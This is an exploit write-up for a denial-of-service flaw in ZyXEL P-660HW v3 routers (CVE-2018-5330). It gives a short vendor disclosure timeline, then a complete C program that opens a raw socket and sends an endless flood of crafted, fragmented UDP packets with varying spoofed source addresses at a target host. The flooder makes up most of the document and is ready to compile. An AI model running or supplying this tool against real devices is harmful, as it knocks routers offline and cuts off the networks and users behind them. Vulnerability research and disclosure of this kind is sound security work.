################ #Exploit Title: ZyXEL P-660HW UDP fragmentation Denial of Service CVE: CVE-2018-5330 #CWE: CWE-400 #Exploit Author: Hosein Askari #Vendor HomePage: https://www.zyxel.com/ #Version : v3 #Tested on: ZyXEL P-660HW #Category: Network Appliance #Author Mail : hosein.askari@aol.com #description: ZyXEL P-660HW v3 devices allow remote attackers to cause a denial of service (router unreachable/unresponsive) via a flood of fragmented UDP packets. ##################### Vendor status: [02.01.2018] Vulnerability discovered [04.01.2018] CVE requestion [10.01.2018] CVE assigned [10.01.2018] Contact with the vendor [11.01.2018] Vendor responds asking for details [11.01.2018] Sent detailed information to the vendor(exploit, sample of PCAP, video of attack) [11.01.2018] Vendor assigns appropriate team for coordination [11.01.2018] Vendor is analyzing the issue [12.01.2018] Asked vendor for confirmation [12.01.2018] Vendor replies with confirmation of the issue ##################### #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <netinet/udp.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #ifdef STRANGE_BSD_BYTE_ORDERING_THING #define change(n) (n) #else #define change(n) htons(n) #endif #define ip_1 8193 #define head 153 #define u_head 41 #define level 0 // Exploit Author : Hosein Askar u_long p_rec(u_char *); void running(u_char *); void fragmentation(int, u_long, u_long, u_short, u_short, u_short); int main(int argc, char **argv) { int j = 1, i, socks, counter=1, number=1; u_long s_ip = 0; u_long d_ip = 0; u_short s_port = 0; u_short d_port = 0; if((socks = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("Error"); exit(1); } if (setsockopt(socks, IPPROTO_IP, IP_HDRINCL, (char *)&j, sizeof(j)) < 0) { perror("Error"); exit(1); } if (argc < 2) running(argv[0]); if (!(d_ip = p_rec(argv[1]))) { exit(1); } fprintf(stderr, "Attack is started \n"); for (;;) { counter ++; s_ip = counter*10; s_port = counter*10; d_port = counter+1*10; if (counter>10) counter = 1; for (i = 0; i < 10; i++) { fragmentation(socks, s_ip, d_ip, s_port, d_port, number++); } } return (0); } void fragmentation(int sock, u_long s_ip, u_long d_ip, u_short s_port,u_short d_port, u_short number) { u_char *p = NULL, *pointer = NULL; u_char byte; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = s_port; sin.sin_addr.s_addr = d_ip; p = (u_char *)malloc(head + u_head + level); pointer = p; byte = 69; memcpy(pointer, &byte, sizeof(u_char)); pointer += 2; *((u_short *)pointer) = change(head + u_head + level); pointer += 2; *((u_short *)pointer) = htons(number); pointer += 2; *((u_short *)pointer) |= change(ip_1); pointer += 2; *((u_short *)pointer) = 247; byte = IPPROTO_UDP; memcpy(pointer + 1, &byte, sizeof(u_char)); pointer += 4; *((u_long *)pointer) = s_ip; pointer += 4; *((u_long *)pointer) = d_ip; pointer += 4; *((u_short *)pointer) = htons(s_port); pointer += 2; *((u_short *)pointer) = htons(d_port); pointer += 2; *((u_short *)pointer) = htons(8); if (sendto(sock, p, head + u_head + level, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(p); exit(1); } free(p); } u_long p_rec(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void running(u_char *name) { fprintf(stderr, "%s d_ip\n", name); exit(0); } ##########################